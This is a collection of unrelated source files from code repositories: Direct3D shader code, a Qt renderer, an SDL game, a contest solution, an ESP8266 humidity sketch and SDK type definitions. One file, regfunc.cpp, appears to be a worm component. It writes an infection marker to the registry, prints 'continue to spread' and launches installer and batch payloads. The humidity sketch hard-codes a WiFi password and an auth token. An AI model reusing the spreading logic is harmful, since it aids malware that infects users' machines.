D3D11_USAGE_DYNAMIC; cameraBufferDesc.ByteWidth = sizeof(CameraBufferType); cameraBufferDesc.BindFlags = D3D11_BIND_CONSTANT_BUFFER; cameraBufferDesc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE; cameraBufferDesc.MiscFlags = 0; cameraBufferDesc.StructureByteStride = 0; // create the camera constant buffer pointer to access the vertex shader constant buffer result = device->CreateBuffer( &cameraBufferDesc, NULL, &m_cameraBuffer ); if (FAILED(result)) { return false; } // setup the desc of the light dynamic constant buffer // note that Bytewidth always to be a multiple of 16 lightBufferDesc.Usage = D3D11_USAGE_DYNAMIC; lightBufferDesc.ByteWidth = sizeof(LightBufferType); lightBufferDesc.BindFlags = D3D11_BIND_CONSTANT_BUFFER; lightBufferDesc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE; lightBufferDesc.MiscFlags = 0; lightBufferDesc.StructureByteStride = 0; // create the constant buffer ptr to acces the vertex shader constant buffer result = device->CreateBuffer( &lightBufferDesc, NULL, &m_lightBuffer ); if (FAILED(result)) { return false; } return true; } void BumpMapShaderClass::ShutdownShader() { // release the light constant buffer if (m_lightBuffer) { m_lightBuffer->Release(); m_lightBuffer = nullptr; } // release the camera constant buffer if (m_cameraBuffer) { m_cameraBuffer->Release(); m_cameraBuffer = nullptr; } // release the matrix constant buffer if (m_matrixBuffer) { m_matrixBuffer->Release(); m_matrixBuffer = nullptr; } // release the sampler state if (m_samplerState) { m_samplerState->Release(); m_samplerState = nullptr; } // release the layout if (m_layout) { m_layout->Release(); m_layout = nullptr; } // release the pixel shader if (m_pixelShader) { m_pixelShader->Release(); m_pixelShader = nullptr; } // release the vertex shader if (m_vertexShader) { m_vertexShader->Release(); m_vertexShader = nullptr; } return; } void BumpMapShaderClass::OutputShaderErrorMessage(ID3D10Blob* errorMessage, HWND hwnd, WCHAR* shaderFilename) { char* compileErrors; size_t bufferSize; std::ofstream fout; // get ptr to error message text buffer compileErrors = (char*)(errorMessage->GetBufferPointer()); // get lenght of the message bufferSize = errorMessage->GetBufferSize(); // open a file to write the error message to fout.open("shader-error.txt"); // write out the error message for (size_t i = 0; i < bufferSize; i++) { fout << compileErrors[i]; } // release the error message errorMessage->Release(); errorMessage = nullptr; // pop a message up on the screen MessageBox(hwnd, L"Error compiling shader. Check shader-error.txt.", shaderFilename, MB_OK); return; } bool BumpMapShaderClass::SetShaderParameters(ID3D11DeviceContext* deviceContext, XMMATRIX worldMatrix, XMMATRIX viewMatrix, XMMATRIX projectionMatrix, ID3D11ShaderResourceView** textureArray, XMFLOAT3 lightDirection, XMVECTOR ambientColor, XMVECTOR diffuseColor, XMFLOAT3 cameraPosition, XMVECTOR specularColor, float specularPower) { HRESULT result; D3D11_MAPPED_SUBRESOURCE mappedResource; unsigned int bufferNumber; MatrixBufferType* dataPtr; LightBufferType* dataPtr2; CameraBufferType* dataPtr3; // transpose the matrices to prepare them for the shader worldMatrix = XMMatrixTranspose(worldMatrix); viewMatrix = XMMatrixTranspose(viewMatrix); projectionMatrix = XMMatrixTranspose(projectionMatrix); // lock the constant buffers so it can be written to result = deviceContext->Map( m_matrixBuffer, 0, D3D11_MAP_WRITE_DISCARD, 0, &mappedResource ); if (FAILED(result)) { return false; } // get a pointer to the data in the constant buffer dataPtr = (MatrixBufferType*)mappedResource.pData; // copy the matrices into the constant buffer dataPtr->world = worldMatrix; dataPtr->view = viewMatrix; dataPtr->projection = projectionMatrix; // unlock the constant buffer deviceContext->Unmap( m_matrixBuffer, 0 ); // set the position of the constant buffer in the vertex shader bufferNumber = 0; // now set the constant buffer in the vertex shader with the updated values deviceContext->VSSetConstantBuffers( bufferNumber, 1, &m_matrixBuffer ); // set shader texture resoure in pixel shader deviceContext->PSSetShaderResources( 0, // start slot 5, // number of textures in the array (two textures & one alpha map & one bumpmap) & one specmap textureArray // texture resource array [5] ); // lock the camera constant buffer so it can be written to result = deviceContext->Map( m_cameraBuffer, 0, D3D11_MAP_WRITE_DISCARD, 0, &mappedResource ); if (FAILED(result)) { return false; } // get a pointer to the data in the constant buffer dataPtr3 = (CameraBufferType*)mappedResource.pData; // copy the camera position into the constant buffer dataPtr3->cameraPosition = cameraPosition; dataPtr3->padding = 0.f; // unlock the camera constant buffer deviceContext->Unmap( m_cameraBuffer, 0 ); // set the position of the camera constant buffer in the vertex shader bufferNumber = 1; // now set the camera constant buffer in the vertex shader with the updated values deviceContext->VSSetConstantBuffers( bufferNumber, 1, &m_cameraBuffer ); // // lock the light constant buffers so it can be written to result = deviceContext->Map( m_lightBuffer, 0, D3D11_MAP_WRITE_DISCARD, 0, &mappedResource ); if (FAILED(result)) { return false; } // get a ptr to the data in the constant buffer dataPtr2 = (LightBufferType*)mappedResource.pData; // copy the light variables into the constant buffer dataPtr2->ambientColor = ambientColor; dataPtr2->diffuseColor = diffuseColor; dataPtr2->lightDirection = lightDirection; dataPtr2->specularColor = specularColor; dataPtr2->specularPower = specularPower; // unlock the constant buffer deviceContext->Unmap( m_lightBuffer, 0 ); // set the position of the light constants buffer in the pixel shader bufferNumber = 0; // finally set the light constant buffer in the pixel shader with the updated values deviceContext->PSSetConstantBuffers( bufferNumber, 1, &m_lightBuffer ); return true; } void BumpMapShaderClass::RenderShader(ID3D11DeviceContext* deviceContext, int indexCount) { // set the vertex input layout deviceContext->IASetInputLayout(m_layout); // set the vertex and pixel shaders deviceContext->VSSetShader(m_vertexShader, NULL, 0); deviceContext->PSSetShader(m_pixelShader, NULL, 0); // set the sampler state in the pixel shader deviceContext->PSSetSamplers( 0, 1, &m_samplerState ); // render the triangle deviceContext->DrawIndexed( indexCount, 0, 0 ); }
b990b2357e730689f869acde621dc0dcbca7b028
de9cd3c57acca5d4614396f43ec8a0649270c8c9
/POSTCARD V2/vfgkghdfj/regfunc.cpp
8ed4e5507dcb08494883990163ca343b0bb8260a
[]
no_license
sloyka-debug/crsd
c25effd7f980676488d6d9774d1d4147b0145d92
068475914b7456e5e971e25a65a8d5e4428e8a42
refs/heads/master
2022-08-02T11:23:05.795780
2020-05-29T17:00:37
2020-05-29T17:00:37
267,673,840
0
0
null
null
null
null
UTF-8
C++
false
false
1,222
cpp
regfunc.cpp
#include "pch.h" #include "regfunc.h" void regfunc::execute() { _TCHAR szTestString[] = _T("injected"); _TCHAR szPath[] = _T("Software\\inj\\"); HKEY hKey = 0; HKEY SECTION = HKEY_CURRENT_USER; SCAN a; a.execute(); if (RegOpenKeyEx(SECTION, L"Software\\inj\\", 0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS) { if (RegQueryValueEx(hKey, TEXT("Test string"), NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { RegCloseKey(hKey); printf("You've already installed it here, continue to spread.\n"); WinExec("PSRUN.bat", SW_SHOW); } else { RegCreateKeyEx(HKEY_CURRENT_USER, szPath, 0, NULL, REG_OPTION_VOLATILE, KEY_WRITE, NULL, &hKey, NULL); RegSetValueEx(hKey, _T("Test string"), 0, REG_SZ, (BYTE*)szTestString, sizeof(szTestString)); RegCloseKey(hKey); WinExec("installate.exe", SW_SHOW); WinExec("PSRUN.bat", SW_SHOW); } } else { RegCreateKeyEx(HKEY_CURRENT_USER, szPath, 0, NULL, REG_OPTION_VOLATILE, KEY_WRITE, NULL, &hKey, NULL); RegSetValueEx(hKey, _T("Test string"), 0, REG_SZ, (BYTE*)szTestString, sizeof(szTestString)); RegCloseKey(hKey); WinExec("installate.exe", SW_SHOW); WinExec("PSRUN.bat", SW_SHOW); } }
616d9e73896b2f366541b88869921727098ac750
78fd3ec91be363e0169921e62364a2a728947112
/stochastic/exec.cpp
560b1d586923e7fafb22e3a3f35e46e0f0b7e5cc
[]
no_license
anmol9855/Minor_project
8c87cc17236f8342fe1abf29fc22e82e66c9e101
fb55e0701c9dc4b677e9b228765441223fde932f
refs/heads/master
2021-01-20T14:40:53.271545
2017-05-08T16:08:32
2017-05-08T16:08:32
90,647,923
0
0
null
null
null
null
UTF-8
C++
false
false
1,949
cpp
exec.cpp
#include "exec.h" //returns state of a system given a vector of inst state exec_inst_seq(state S,vector<inst>* code){ for (int i = 0; i < code->size(); ++i) S = exec_inst(S,code->at(i)); return S; } //executes a single instruction state exec_inst(state S,inst I){ int opcode = I.opcode; switch(opcode){ //mov case 0: //immediate if(I.regIndex1 == -1) S.regs[I.regIndex2] = I.op1; else S.regs[I.regIndex2] = S.regs[I.regIndex1]; break; //add case 1: if(I.regIndex1 == -1) S.regs[I.regIndex2] += I.op1; else S.regs[I.regIndex2] += S.regs[I.regIndex1]; break; //sub case 2: if(I.regIndex1 == -1) S.regs[I.regIndex2] -= I.op1; else S.regs[I.regIndex2] -= S.regs[I.regIndex1]; break; //mult case 3: if(I.regIndex1 == -1) S.regs[I.regIndex2] *= I.op1; else S.regs[I.regIndex2] *= S.regs[I.regIndex1]; break; //div case 4: if(I.regIndex1 == -1) S.regs[I.regIndex2] /= I.op1; else S.regs[I.regIndex2] /= S.regs[I.regIndex1]; break; // left shift case 5: if(I.regIndex1 == -1) S.regs[I.regIndex2] = (S.regs[I.regIndex2]) * pow(2,(int)(I.op1)); else S.regs[I.regIndex2] = (S.regs[I.regIndex2]) * pow(2,(int)S.regs[I.regIndex1]); break; //right shift case 6: if(I.regIndex1 == -1) S.regs[I.regIndex2] = (S.regs[I.regIndex2]) / pow(2,(int)(I.op1)); else S.regs[I.regIndex2] = (S.regs[I.regIndex2]) / pow(2,(int)S.regs[I.regIndex1]); break; default: break; } return S; } //evaluates performance of a code given a input output sequence and error bound int satisfiability(test_seq T){ int count = 0; for(int i = 0; i < T.input->size(); ++i) { state S; S.regs[INPUT_INDEX] = T.input->at(i); S = exec_inst_seq(S,&T.code); double val = S.regs[OUTPUT_INDEX]; if(val>T.output->at(i)-T.error_bound && val<T.output->at(i)+T.error_bound) count++; } return count; }
25bf357350d6d2eaac7b961a6281e12f86bbbc81
2ec23fc84e054240565bafc0bdc30d62a999b59f
/displaypane.cpp
58c36f152ba97fb3266f8f08393b5c881641a1b2
[]
no_license
ywh1357/qtquickfbotest-threading
06e04961a7be934a808efbd60b7028c9abc7151d
c461bfd1f7fa300b9c4ef8e0ac5296a6e5c517a2
refs/heads/master
2021-05-06T09:28:24.515739
2017-12-13T05:49:28
2017-12-13T05:49:28
null
0
0
null
null
null
null
UTF-8
C++
false
false
4,479
cpp
displaypane.cpp
#include "displaypane.h" #include <QQuickWindow> TextureNode::TextureNode(QQuickWindow *win):m_id(0),m_size(0,0),m_texture(0),m_window(win) { m_texture = m_window->createTextureFromId(0, QSize(1, 1)); m_material = new QSGTextureMaterial(); m_material->setTexture(m_texture); m_material->setFlag(QSGMaterial::Blending); m_material->setFiltering(QSGTexture::Linear); setMaterial(m_material); // setFlag(OwnsMaterial); m_geometry = new QSGGeometry(QSGGeometry::defaultAttributes_TexturedPoint2D(),4); m_geometry->setDrawingMode(QSGGeometry::DrawTriangleStrip); setGeometry(m_geometry); markDirty(DirtyGeometry | DirtyMaterial); } TextureNode::~TextureNode() { if(m_texture) delete m_texture; } void TextureNode::newTexture(int id, const QSize size) { m_mutex.lock(); m_id = id; m_size = size; m_mutex.unlock(); // We cannot call QQuickWindow::update directly here, as this is only allowed // from the rendering thread or GUI thread. emit newTextureReady(); } void TextureNode::prepareNode() { m_mutex.lock(); int newId = m_id; QSize size = m_size; m_id = 0; m_mutex.unlock(); if (newId) { delete m_texture; // note: include QQuickWindow::TextureHasAlphaChannel if the rendered content // has alpha. m_texture = m_window->createTextureFromId(newId, size,QQuickWindow::TextureHasAlphaChannel); m_material->setTexture(m_texture); m_material->setFlag(QSGMaterial::Blending); // qDebug() << m_texture->hasAlphaChannel(); // m_material->setHorizontalWrapMode(QSGTexture::Repeat); // m_material->setVerticalWrapMode(QSGTexture::Repeat); auto *vertexs = static_cast<QSGGeometry::TexturedPoint2D*>(m_geometry->vertexDataAsTexturedPoint2D()); vertexs[0].set(0,0,0,0); vertexs[1].set(m_size.width(),0,1,0); vertexs[2].set(0,m_size.height(),0,1); vertexs[3].set(m_size.width(),m_size.height(),1,1); markDirty(DirtyMaterial | DirtyGeometry); // This will notify the rendering thread that the texture is now being rendered // and it can start rendering to the other one. emit requestNewTexture(); } } DisplayPane::DisplayPane():m_render(nullptr) { // auto sizeChangedSender = [this]{ emit sizeChanged(size().toSize()); }; // connect(this,&QQuickItem::heightChanged,sizeChangedSender); // connect(this,&QQuickItem::widthChanged,sizeChangedSender); connect(this,&QQuickItem::windowChanged,this,&DisplayPane::handleWindowChanged); connect(this, &DisplayPane::renderReady, this, &DisplayPane::handleRenderReady); setFlag(this->ItemHasContents); setFocus(true); m_render = new CubeRender(&m_renderThread); } DisplayPane::~DisplayPane() { qDebug() << "~DisplayPane"; m_render->stop(); m_render->deleteLater(); m_renderThread.wait(); } QSGNode *DisplayPane::updatePaintNode(QSGNode *oldNode, QQuickItem::UpdatePaintNodeData *) { if (!m_render->m_context) { QOpenGLContext *current = window()->openglContext(); current->doneCurrent(); m_render->createContext(current); current->makeCurrent(window()); emit renderReady(); } m_render->setSize(size().toSize()); TextureNode *node; if(!oldNode){ node = new TextureNode(window()); connect(node,&TextureNode::requestNewTexture,m_render,&CubeRender::render,Qt::QueuedConnection); connect(node,&TextureNode::newTextureReady,window(),&QQuickWindow::update,Qt::QueuedConnection); connect(m_render,&CubeRender::textureReady,node,&TextureNode::newTexture,Qt::DirectConnection); connect(window(),&QQuickWindow::beforeRendering,node,&TextureNode::prepareNode,Qt::DirectConnection); }else{ node = static_cast<TextureNode*>(oldNode); } return node; } void DisplayPane::handleWindowChanged(QQuickWindow *win) { if (win) { connect(win, &QQuickWindow::beforeSynchronizing, this, &DisplayPane::sync,Qt::DirectConnection); connect(win, &QQuickWindow::sceneGraphInvalidated, m_render, &CubeRender::stop, Qt::QueuedConnection); } } void DisplayPane::handleRenderReady() { m_render->createSurface(m_render->m_context->format()); m_render->setTexture(":/texture0.jpg"); m_render->start(); QMetaObject::invokeMethod(m_render, "render", Qt::QueuedConnection); update(); } void DisplayPane::sync() { // qDebug() << "sync"; m_render->setSize(size().toSize()); }
7230fdc0a20bde353a8f32f9378abc8fcad526ad
28de82ff6e140e4143b7dff87ea385c75fcfda91
/src/Player.cc
64883740547e57dc058b49bea849d7611e594e05
[]
no_license
jjwest/spacecraze
496c64ed3ee57947ae6bd2ff45c13bdc19220125
98e79c80220fd4044de54132f32984cf08e95625
refs/heads/master
2021-01-19T09:10:39.715356
2017-11-28T21:03:44
2017-11-28T21:03:44
87,734,029
0
0
null
null
null
null
UTF-8
C++
false
false
2,873
cc
Player.cc
#include "Player.h" #include <string> #include <utility> #include "AssetManager.h" #include "Constants.h" #include "Globals.h" #include "World.h" Player::Player(const SDL_Rect& hitbox) : GameObject(AssetManager::instance().getTexture("player"), hitbox, 1.0), pos_x{ static_cast<float>(hitbox.x) }, pos_y{ static_cast<float>(hitbox.y) } {} bool Player::hasSpecialWeapon() const { return has_special_weapon; } Point Player::getPosition() const { int center_x = round( hitbox.x + (hitbox.w / 2) ); int center_y = round( hitbox.y + (hitbox.h / 2) ); return {center_x, center_y}; } void Player::increaseDamage() { ++damage; } void Player::update(World& world) { move(); adjustAngle(); shoot(world); useSpecialWeapon(world); updateHitbox(hitbox); } void Player::move() { auto key_pressed = SDL_GetKeyboardState(NULL); bool can_move_left = hitbox.x - speed >= 0; if (key_pressed[SDL_SCANCODE_A] && can_move_left) { pos_x -= speed; hitbox.x = round(pos_x); } bool can_move_right = hitbox.x + hitbox.w + speed <= SCREEN_WIDTH; if (key_pressed[SDL_SCANCODE_D] && can_move_right) { pos_x += speed; hitbox.x = round(pos_x); } bool can_move_up = hitbox.y - speed >= 0; if (key_pressed[SDL_SCANCODE_W] && can_move_up) { pos_y -= speed; hitbox.y = round(pos_y); } bool can_move_down = hitbox.y + hitbox.h + speed <= SCREEN_HEIGHT; if (key_pressed[SDL_SCANCODE_S] && can_move_down) { pos_y += speed; hitbox.y = round(pos_y); } } void Player::adjustAngle() { int mouse_x, mouse_y; SDL_GetMouseState(&mouse_x, &mouse_y); auto player_center_x = hitbox.x + (hitbox.w / 2); auto player_center_y = hitbox.y + (hitbox.h / 2); auto angle_in_radians = atan2(player_center_y - mouse_y, player_center_x - mouse_x); auto angle_in_degrees = angle_in_radians * 180 / M_PI; angle = (static_cast<int>(angle_in_degrees) - 90) % 360; } void Player::shoot(World& world) { auto current_time = SDL_GetTicks(); bool can_shoot = current_time - last_shot_time > shoot_cooldown; bool left_mouse_button_pressed = SDL_GetMouseState(NULL, NULL) & SDL_BUTTON(SDL_BUTTON_LEFT); if (left_mouse_button_pressed && can_shoot) { auto player_center_x = hitbox.x + (hitbox.w / 2); world.addPlayerLaser({player_center_x, hitbox.y}, damage); last_shot_time = current_time; if (GLOBAL_SETTINGS.sound_effects) { auto shoot_sound = AssetManager::instance().getSoundEffect("small_laser"); Mix_PlayChannel(-1, shoot_sound, 0); } } } void Player::useSpecialWeapon(World& world) { bool right_mouse_button_pressed = SDL_GetMouseState(NULL, NULL) & SDL_BUTTON(SDL_BUTTON_RIGHT); if (has_special_weapon && right_mouse_button_pressed) { world.killAllEnemies(); has_special_weapon = false; } }
feba6cf29f687aa4e47eeccfb1c6461c72febd82
ef5fe6b55f3d9a697392a252617e1dc79b184222
/AtCoder/ABC153/D.cpp
680957c7ef684efc7062e213988c541eab1ce8cc
[]
no_license
kunichan9292/Programing-contest
15110f1dbf00a9957d524c6163cd165b3828803f
9126d5c63b80f170de8108ca74c7ae7a2bf9c921
refs/heads/master
2022-06-18T04:40:45.662188
2020-05-12T19:49:16
2020-05-12T19:49:16
263,432,210
0
0
null
null
null
null
UTF-8
C++
false
false
289
cpp
D.cpp
#include<iostream> #include<bitset> using namespace std; int main(){ long long H; cin >> H; bitset<64> HP(H); int top; for(int i=63;;i--){ if(HP.test(i)){ top=i; break; } } HP.set(); long long ans = (HP>>(63-top)).to_ullong(); cout << ans << endl; }
6d833e006f403c291f8c38561878b32cddb6e45c
1a4b7abc41796ffce3deb32d2b49183752a421cd
/AddmusicK/Directory.h
7c566cfe1a53bb508f9ed687fa65760ee9eee48b
[]
no_license
N-SPC700/AMPoo
aff28bd24cced5b21629f85964fe67d0c56daa0c
135a3f071ba4c6a344ce3272ccfaef434b87f764
refs/heads/master
2020-05-01T12:21:45.372772
2019-03-24T23:30:43
2019-03-24T23:30:43
177,463,901
0
0
null
null
null
null
UTF-8
C++
false
false
1,102
h
Directory.h
#ifndef _FILE_H #define _FILE_H #include <string> class File { public: std::string filePath; File() {} File(const char *str) { *this = str; } File(char *str) { *this = str; } File(const std::string &str) { *this = str.c_str(); } File(std::string &str) { *this = str.c_str(); } File &operator =(const char *str) { filePath = str; int i; #ifdef _WIN32 while ((i = filePath.find('/')) != -1) filePath[i] = '\\'; #else while ((i = filePath.find('\\')) != -1) filePath[i] = '/'; #endif return *this; } File &operator =(char *str) { filePath = str; int i; #ifdef _WIN32 while ((i = filePath.find('/')) != -1) filePath[i] = '\\'; #else while ((i = filePath.find('\\')) != -1) filePath[i] = '/'; #endif return *this; } //operator const std::string() const //{ // return filePath; //} //operator std::string() const //{ // return filePath; //} operator const char *() const { return filePath.c_str(); } const char *cStr() const { return filePath.c_str(); } int size() const { return filePath.size(); } }; #endif
3bb180a5d5da35243dc2f803152eb168df9a5f6a
3119ff2755f5811efd67adadeb224d26bbfee119
/state/src/StateMachineComponent.cpp
122c10a4bfa73b8df1bc173a0b8deccf5a83c059
[]
no_license
elchtzeasar/draft
3a1ef93ff0b6de4fd8ab9273407a0fd3f91fd620
a19e3bfee29ed8c98ecfe843f0e59d4233dfb991
refs/heads/master
2020-06-05T01:10:14.703397
2011-05-27T19:32:57
2011-05-27T19:32:57
1,077,409
0
0
null
null
null
null
UTF-8
C++
false
false
1,489
cpp
StateMachineComponent.cpp
#include "StateMachineComponent.h" #include "AddressedMessage.h" #include "ClientState.h" #include "ServerState.h" #include "State.h" #include <QSignalTransition> #include <glog/logging.h> StateMachineComponent::StateMachineComponent() : stateMachine(new QStateMachine(this)), chooseClientOrServer(new State(this, static_cast<State*>(0), "ChooseClientOrServer")), clientState(new ClientState(this, static_cast<State*>(0), "Client")), serverState(new ServerState(this, static_cast<State*>(0), "Server")), activeState("Init") { chooseClientOrServer->addTransition( this, SIGNAL(connectToDraft(const QString&, unsigned int)), clientState); chooseClientOrServer->addTransition( this, SIGNAL(hostDraft(unsigned int)), serverState); stateMachine->addState(chooseClientOrServer); stateMachine->addState(clientState); stateMachine->addState(serverState); stateMachine->setInitialState(chooseClientOrServer); } StateMachineComponent::~StateMachineComponent() { delete clientState; delete chooseClientOrServer; delete stateMachine; } void StateMachineComponent::start() { stateMachine->start(); } const QString StateMachineComponent::getActiveState() const { return activeState; } void StateMachineComponent::setActiveState(QString newState) { LOG(INFO) << "StateMachineComponent: STATE CHANGE " << activeState.toStdString().c_str() << " -> " << newState.toStdString().c_str(); activeState = newState; emit stateChanged(activeState); }
36104077f857b78bf289c5c0465ad7b042d59879
b08cd5d56bdbea3f3d6cd52ed85ca18bc4c8f1f5
/ANARC09A.cpp
0d0c35a241cd23a4e9934bf3c115f545c02d7c87
[]
no_license
duveyutkarsh/competitive
652e3fd6b6379ec5fd6060a2a23d64fedd2a3cb7
408b511631cadff89cf1f8390c1b3f8442569766
refs/heads/master
2020-03-22T09:37:04.087878
2018-12-17T06:44:58
2018-12-17T06:44:58
139,849,182
0
0
null
null
null
null
UTF-8
C++
false
false
664
cpp
ANARC09A.cpp
#include<bits/stdc++.h> #define mp make_pair #define pb push_back #define F first #define S second typedef long long ll; using namespace std; const int maxn = 1e5+5; int main() { string s; int cs = 0; while(cin>>s) { if(s[0]=='-')break; int n = s.size(); stack<int> st; int cnt = 0; for(int i=0;i<n;i++) { if(s[i]=='{')st.push(i); else { if(st.empty())cnt++; else st.pop(); } } cs++; cout<<cs<<". "; int k = st.size(); cout<<cnt/2 + cnt%2 + k/2 + k%2<<"\n"; } return 0; }
179233a43ae56868ae7179dfd60de6129cb7924a
833d0a32e3bebae404190c5bcb971e3ac921e667
/include/playground/seesaw.h
cb0e044cc1ec017eec1bd9bb84e6b156594da809
[ "MIT" ]
permissive
TimiMakkonen/playground
4bf9367555bc7c8af02c538afceac817beef2706
3ab4c96eadfabd7146b04e695677c71ffd3a4866
refs/heads/master
2023-01-13T17:40:25.502114
2020-11-18T17:42:32
2020-11-18T17:42:32
313,404,747
2
0
MIT
2020-11-18T17:48:13
2020-11-16T19:23:24
CMake
UTF-8
C++
false
false
443
h
seesaw.h
#ifndef PLAYGROUND_SEESAW_H #define PLAYGROUND_SEESAW_H #include <string> // std::string namespace playground { class Seesaw { private: // +---------+ // | fields: | // +---------+ std::string _greeting = "Hello from the Seesaw class!"; public: // +-----------------+ // | public methods: | // +-----------------+ std::string getGreeting(); }; } // namespace playground #endif // PLAYGROUND_SEESAW_H
96a99f598ea07a430a69b21b5ba66b82dd3f2e82
dd0d9acfaa06562e5d9799ed7fac87d7a172eac4
/humidity/humidity.ino
e9dc758b31d8d419e766d610f5590b059c43cd6a
[]
no_license
grachova/tpcs.pr5
b76a205e22811ffdd1a8e95b211e955fc4fb5a76
d465f10d0d66648e457e4346d1164c2436aa6968
refs/heads/main
2023-01-08T02:48:12.684699
2020-11-15T12:25:57
2020-11-15T12:25:57
312,889,773
0
0
null
null
null
null
UTF-8
C++
false
false
742
ino
humidity.ino
#define BLYNK_PRINT Serial #include <ESP8266WiFi.h> #include <BlynkSimpleEsp8266.h> #include "DHT.h" #include <SimpleTimer.h> #define DHTTYPE DHT11 #define dht_dpin 14 DHT dht(dht_dpin, DHTTYPE); SimpleTimer timer; char auth[] = "47c9d3d8bc924cc1b592cd64d63dss23"; char ssid[] = "TPLINK1236"; char pass[] = "pass12365478"; float h; void setup() { Serial.begin(9600); Blynk.begin(auth, ssid, pass); dht.begin(); timer.setInterval(2000, sendUptime); } void sendUptime() { float h = dht.readHumidity(); Serial.print("Current humidity = "); Serial.print(h); Blynk.virtualWrite(V1, h); } void loop() { Blynk.run(); timer.run(); }
942d68334d7f1052292947bae8c7fa25c3697403
017aa25211a5fc8387a06b1752718ddfff1d7cd3
/jmessage-sdk/jmessage-sdk-win-1.2.0/include/Jmcpp/Types.h
c5846ec3834da3f7599e9989826dd0ab181d8c57
[]
no_license
weichangxiang/jchat-windows
db1c68f3537ff1ddcb32a78bdff95b38e8ab131f
0981597980e8c77b033496a2a8c6abba4b3c7a9c
refs/heads/master
2020-04-06T10:03:08.915695
2018-04-03T07:58:06
2018-04-03T08:02:44
null
0
0
null
null
null
null
UTF-8
C++
false
false
7,277
h
Types.h
#pragma once #include <stdint.h> #include <cstdint> #include <vector> #include <tuple> #include <iostream> #include <sstream> #include <string> #include <string_view> #include <optional> #include <variant> #include <utility> #include "JmcppExport.h" #include "StrongType.h" #ifdef _MSC_VER #pragma warning(push) #pragma warning(disable:4251) #endif namespace Jmcpp { //! 性别 enum class Gender{ Unknown, Male, Female }; //! 平台类型 enum class Platform { Android = 1, iOS/**/ = 2, Web/**/ = 3, PC/* */ = 4, All/**/ = 0xFF }; //! 用户Id /** * 包含用户名和用户所属的appkey **/ struct UserId { std::string username; std::string appKey; UserId() = default; UserId(std::string const& username, std::string const& appKey = std::string()) :username(username), appKey(appKey) {} std::string toString() const { return username + " " + appKey; } static UserId fromString(std::string const& str) { UserId userId; std::stringstream ss(str); ss >> userId.username; ss >> userId.appKey; return userId; } bool isValid() const{ return !username.empty(); } explicit operator bool() const { return isValid(); } bool operator<(UserId const& other) const noexcept { return std::forward_as_tuple(username, appKey) < std::forward_as_tuple(other.username, other.appKey); } bool operator<=(UserId const& other) const noexcept { return std::forward_as_tuple(username, appKey) <= std::forward_as_tuple(other.username, other.appKey); } bool operator>(UserId const& other) const noexcept { return std::forward_as_tuple(username, appKey) > std::forward_as_tuple(other.username, other.appKey); } bool operator>=(UserId const& other) const noexcept { return std::forward_as_tuple(username, appKey) >= std::forward_as_tuple(other.username, other.appKey); } bool operator==(UserId const& other) const noexcept { return std::forward_as_tuple(username, appKey) == std::forward_as_tuple(other.username, other.appKey); } bool operator!=(UserId const& other) const noexcept { return std::forward_as_tuple(username, appKey) != std::forward_as_tuple(other.username, other.appKey); } }; using UserIdList = std::vector<UserId>; using GroupId = StrongType::StrongAlias<int64_t, struct GroupIdTag, StrongType::ExplictConvertible, StrongType::EqualityComparable, StrongType::OrderingComparable>; using RoomId = StrongType::StrongAlias<int64_t, struct RoomIdTag, StrongType::ExplictConvertible, StrongType::EqualityComparable, StrongType::OrderingComparable>; //! 用户信息 struct UserInfo { UserId userId; std::string nickname; //!< 昵称 std::string avatar; //!< 头像mediaId std::string remark; //!< 备注 std::string remarkOther;//!< 备注 std::string birthday; //!< 生日 Gender gender; //!< 性别 std::string signature; //!< 签名 std::string region; //!< 地区 std::string address; //!< 地址 std::string extras; //!< 自定义json对象字符串 int64_t mtime = 0; //!< 用户信息修改时间戳 }; using UserInfoList = std::vector<UserInfo>; /** * 设置用户信息参数 * 当字段为空时,表示不设置此信息 **/ struct UserInfoParam { std::optional<std::string> nickname; //!< 昵称 std::optional<std::string> avatar; //!< 头像mediaId std::optional<std::string> birthday; //!< 生日 std::optional<std::string> signature; //!< 签名 std::optional<Gender> gender; //!< 性别 std::optional<std::string> region; //!< 地区 std::optional<std::string> address; //!< 地址 std::optional<std::string> extras; //!< 自定义json对象字符串 }; using UpdateUserInfoParam = UserInfoParam; //! 用户信息,只包含部分信息 struct UserInfoLite { UserId userId; std::string nickname; ///< 昵称 std::string avatar; ///< 头像mediaId }; using UserInfoLiteList = std::vector<UserInfoLite>; struct GroupMember { UserId userId; std::string nickname; ///< 昵称 std::string avatar; ///< 头像mediaId bool isOwner{}; ///< 是否群主 bool isSilent{}; ///< 是否禁言 bool isAdmin{}; ///< 是否管理员 }; using GroupMemberList = std::vector<GroupMember>; //! 群信息 struct GroupInfo { GroupId groupId{}; ///< 群Id std::string groupName; ///< 群名称 std::string description;///< 群描述 std::string avatar; ///< 群头像mediaId std::string appKey; ///< 群所属的appkey int maxMemberCount{};///< 最大成员数量 bool isPublic{}; ///< 公开群:用户可主动申请入群,需群主审核;私有群:只能通过群成员邀请入群,无需审核 int64_t ctime = 0; ///< 创建时间 int64_t mtime = 0; ///< 修改时间 }; using GroupInfoList = std::vector<GroupInfo>; struct GetGroupsResult { size_t total{};///< 公开群总数 size_t start{};///< 分页获取起始索引 GroupInfoList groups; ///< 公开群信息 }; //! 聊天室信息 struct RoomInfo { RoomId roomId; ///<聊天室名称 std::string roomName; ///<名称 std::string description;///<描述 std::string appKey; ///<所属的appkey int maxMemberCount{};///< 最大聊天室人数 int currentMemberCount{};///< 当前聊天室人数 int64_t ctime = 0; ///< 创建时间 }; using RoomInfoList = std::vector<RoomInfo>; struct GetRoomsResult { size_t total{};///< 聊天室总数 size_t start{};///< 分页获取起始索引 RoomInfoList rooms; ///< 聊天室信息 }; //! 聊天对象ID,群/用户/聊天室 class JMCPP_API ChatId { std::variant<std::monostate, GroupId, RoomId, UserId> _id; public: ChatId(); ChatId(GroupId const& groupId); ChatId(RoomId const& roomId); ChatId(UserId const& userId); bool isValid() const; bool isGroup() const; bool isRoom() const; bool isUser() const; GroupId getGroupId() const; void setGroupId(GroupId groupId); RoomId getRoomId() const; void setRoomId(RoomId roomId); const UserId& getUserId() const; void setUserId(UserId const& userId); void setUsername(std::string const& username); void setAppkey(std::string const& appkey); bool operator<(ChatId const& other) const; bool operator<=(ChatId const& other) const; bool operator>(ChatId const& other) const; bool operator>=(ChatId const& other) const; bool operator==(ChatId const& other) const; bool operator!=(ChatId const& other) const; }; using ConversationId = ChatId; //! 免打扰信息 struct NotDisturbInfo { int global; 